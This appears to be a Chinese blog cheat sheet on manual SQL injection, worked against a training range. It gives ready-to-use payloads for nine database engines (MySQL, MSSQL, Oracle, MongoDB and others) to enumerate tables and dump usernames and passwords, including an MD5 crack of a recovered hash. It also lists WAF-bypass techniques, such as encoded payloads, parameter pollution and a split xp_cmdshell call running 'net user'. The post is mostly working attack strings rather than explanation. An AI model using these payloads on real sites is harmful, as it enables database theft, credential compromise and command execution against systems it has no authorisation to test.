手工注入

用的是墨者学院的靶场:传送门

涉及以下数据库:

  1. MySQLAccessSqlServer(MSSQL)、SQLiteMongoDBDb2(IBM)、PostgreSQLSybaseOracle

MySQL:

1.找到注入点 and 1=1 and 1=2 测试报错

2.order by 5 # 到5的时候报错,获取字段总数为4

3.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息

4.获取数据库信息

user() ==>root

database() ==>mozhe_Discuz_StormGroup

version() ==>5.7.22-0ubuntu0.16.04.1

5.获取数据库表

  1. union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() limit 0,1

table_name 表名

information_schema.tables 系统生成信息表

table_schema=数据库名16进制或者用单引号括起来

改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice

6.获取列名

  1. union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1#

结果如下 id,name,password,status

7.脱裤

  1. union select 1,2,group_concat(name,password),4 from StormGroup_member #

Access:

1.and 1=2 报错找到注入点

2.order by 获取总字段

3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表

4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在

5.脱裤 union select 1,username,passwd,4 from admin

MSSQL:

1.and 1=2报错

2.order by N# 获取总字段

3.猜表名 and exists(select * from manage) 表名manage存在

4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在

5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在

and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8

and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16

可用Burp的Intruder功能辅助猜解

  1. and exists (select id from manage where unicode(substring(username,1,1))=32 and id=1)

猜解username第1到8位的字符,ASCII转码 admin_mz

  1. and exists (select id from manage where 32=unicode(substring(password,1~16,1)) and id=1)

猜解password第1到16位的字符,ASCII转码(Burp 爆破)

转ASCII的py脚本:

  1. asc=[55,50,101,49,98,102,99,51,102,48,49,98,55,53,56,51]  
    for x in asc:
    rs=chr(x)  
    print(rs)

72e1bfc3f01b7583 MD5解密为97285101

SQLite:

1.找注入点 and 1=1

2.order by N 猜字段 4

3.猜数据库

  1. ?id=-1 union select 1,2,name,4 from sqlite_master where type='table' limit 1 offset 0#

offset ==>0~2

有三个数据库:

WSTMart_reg

notice_sybase

sqlite_sequence

4.猜列

  1. union select 1,2,sql,4 from sqlite_master where type='table' and name='WSTMart_reg'#

共有3个字段:

id,name,password

5.脱裤

  1. union select 1,name,password,4 from WSTMart_reg limit 1 offset 1#

MongoDB:

1.id=1′ 单引号注入报错

2.闭合语句,查看所有集合

  1. id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

    # db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写

3.查看指定集合的数据

  1. id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

[0] 代表第一条数据,可递增

DB2:

1.and 1=2 判断注入点

2.order by N 获取字段数

3.爆当前数据库

  1. and (select count(versionnumber) from sysibm.sysversions)<>0 #判断是否DB2数据库
  1. union select null,tabname,null,null from syscat.tables where tabschema=current schema limit 1,1

GAME_CHARACTER

4.列表

  1. union select null,column_name,null,null from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 2,1

NAME

5.脱裤

  1. union select null,name,password,null from GAME_CHARACTER%20 limit 2,1

PostgreSQL:

1.and 1=2 判断注入点

2.order by N 获取字段

3.爆数据库

  1. union select null,null,current_database(),null

4.列表

  1. union select null,null,relname,null from pg_stat_user_tables limit 1 offset 1 (修改offset后边的参数列表)

5.列字段

  1. union select null,null,column_name,null from information_schema.columns where table_name='表名' limit 1 offset 1

6.拖库

  1. union select null,name,password,null from reg_users (表名)

Sybase数据库:

1.and 1=2 判断注入点

2.order by N 获取总字段

3.爆数据库

  1. and 1=2 union all select null,db_name(),null,null

4.列表

  1. and 1=2 union all select null,convert(NVARCHAR(4000),name),null,null from mozhe_Deepthroat.dbo.sysobjects

5.列字段

  1. and 1=2 union all select%20 null,convert(NVARCHAR(4000),name),null,null%20 from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and colid=1 //coid=1~N

6.查状态

  1. and 1=2 union all select null,name,null,null from Deepthroat_login

结果为:zhang

7.反选爆用户名

  1. and 1=2 union all select null,name,null,null from Deepthroat_login where name <>'zhang'

结果为:mozhe

8.猜解密码

  1. and 1=2 union all select null,password,null,null from Deepthroat_login where name <>'zhang'

Oracle:

1.and 1=1

2.order by

3.爆数据库

  1. union select (select owner from all_tables where rownum=1 and owner<>'SYS' and owner<>'OUTLN'),'2' from dual

4.列表

  1. union select (select table_name from user_tables where rownum=1),'1' from dual
    union select (select table_name from user_tables where rownum=1  and table_name not like '%$%' and table_name like '%u%'),'1' from dual   //与用户有关的表,有个sns_name

5.列字段

  1. union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'1' from dual
    union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'),'1' from dual
    union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'  and column_name<>'USER_PWD'),'1' from dual

6.拖库

  1. union select '1','用户名:'||USER_NAME||'密码:'||USER_PWD||'状态:'||STATUS from "sns_users"

加上状态:1 where STATUS=1

  1. union select '1','用户名:'||USER_NAME||'密码:'||USER_PWD||'状态:'||STATUS from "sns_users" where STATUS=1

SQL注入绕过WAF思路

什么是WAF

Web Application Firewall

通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

目前主要有单设备WAF与云WAF。

WAF的现状

1.太多数WAF能够拦截较为普通的WEB攻击

2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力

3.基本所有的WAF都存在策略性绕过

4.由于waf的业务限制等各种原因导致存在通用绕过

WAF接收请求会先做什么

WAF逻辑漏洞及白名单阶段的绕过

1.搜索引擎白名单(判断引擎方式不严,修改浏览器默认的user-agent)

2.IP段白名单绕过

3.目录白名单绕过

4.绕过代理直接请求源站(代理模式云WAF)

WAF确认身份后的事

WAF数据包解析阶段的绕过(通用型绕过)

一、各种编码绕过

  1. 1.?id=1 union select pass from admin limit 1
    ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
    2.?id=1 union select pass from admin limit 1
    ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1

二、复参数绕过

  1. ?id=1 union select 1&id=pass from admin

三、异常Method绕过

  1. Seay /1.php?id=1 and 1=1 HTTP/1.1
    Host: www.cnseay.com
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: keep-alive

四、编码方式绕过(urlencoded/mutipart)

解析阶段绕过

1.各种编码绕过

2.复参数绕过(依赖Server)

3.特殊字符污染绕过(截断/%/09-0d等)

4.异常Method绕过

5.编码方式绕过(urlencoded/from-data)

6.超大数据包绕过

7.数据包分块传输绕过

WAF解析数据包后的那些事(单向)

WAF规则策略阶段的绕过 –规则网

一、数据库特殊语法绕过

  1. mysql .符号和~符号和!符号以及+和-号连接
    ?id=1.union%0aselect@1,2 ,!3,4

二、关键字拆分绕过

  1. cnseay.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

三、请求方式差异规则松懈性绕过

  1. GET /id=1 union select 1,2,3,4   ---拦截

    POST id=1 union select 1,2,3,4   ---绕过

    waf业务限制,POST规则相对松懈

四、冷门函数/标签绕过

  1. 1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

SQL注入之手工注入的更多相关文章

  1. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

  2. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  3. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  4. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

  5. pikachu-字符型注入(get) #手工注入

    1.检测注入类型 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 ...

  6. pikachu-数字型注入(post)#手工注入

    1, 因为是post型,所以需要抓取数据包 2, 测试结果为数字型注入 提交恒等的语句可以查询到所有的数据信息 3, 使用UNION联合查询法 判断字段数,测试为2个字段时没有报错,所以可以判断字段数 ...

  7. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  8. sql手工注入时的探测技巧汇总

    工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 =================================================== ...

  9. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

随机推荐

  1. Ubuntu:查询计算机软硬件信息

     造冰箱的大熊猫,本文适用于Ubuntu 16.04@cnblogs 2019/1/1 1.查询Linux内核版本 在命令行中通过命令“uname -rv”获取内核版本信息,执行实例如下所示.其中,标 ...

  2. hdu 5532 Almost Sorted Array nlogn 的最长非严格单调子序列

    Almost Sorted Array Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 262144/262144 K (Java/Ot ...

  3. CCPC-Wannafly & Comet OJ 夏季欢乐赛(2019)D

    题面 一开始想到一个 O(N^2) 做法,先把x排序,然后顺次枚举x最大的点,看向前最多可以保留多少点 (也就是先不管正方形的上下长度限制,先考虑左右的限制).然后再对这些点做一遍类似的..(等等这么 ...

  4. CCPC-Wannafly & Comet OJ 夏季欢乐赛(2019)G

    题面 一道暴水的dp....别问我为什么直接打开了G题,我只是对题目名称感兴趣而已.... #include<bits/stdc++.h> #define ll long long usi ...

  5. Anadi and Domino

    C - Anadi and Domino 参考:Anadi and Domino 思路:分为两种情况: ①n<=6,这个时候肯定可以保证降所有的边都放上一张多米诺牌,那么答案就是m ②n==7, ...

  6. 19.Python转义字符及用法

    在前面的章节中,我们曾经简单学习过转义字符,所谓转义,可以理解为“采用某些方式暂时取消该字符本来的含义”,这里的“某种方式”指的就是在指定字符前添加反斜杠 \,以此来表示对该字符进行转义. 举个例子, ...

  7. [清华集训2016]如何优雅地求和——NTT

    题目链接: [清华集训2016]如何优雅地求和 题目大意:给出一个多项式$m+1$个点值$a_{0},a_{1}...a_{m}$(其中$f(i)=a_{i}$),并给出两个数$n,x$,求$Q(f, ...

  8. 12 Linux ACL权限

    1.查看facl权限 getfacl /home/test.txt [root@localhost ~]# getfacl /home/test.txt getfacl: Removing leadi ...

  9. leetcode-hard-array-287. Find the Duplicate Number

    mycode   77.79% class Solution(object): def findDuplicate(self, nums): """ :type nums ...

  10. leetcode-hard-array-41. First Missing Positive-NO

    mycode class Solution(object): def firstMissingPositive(self, nums): """ :type nums: ...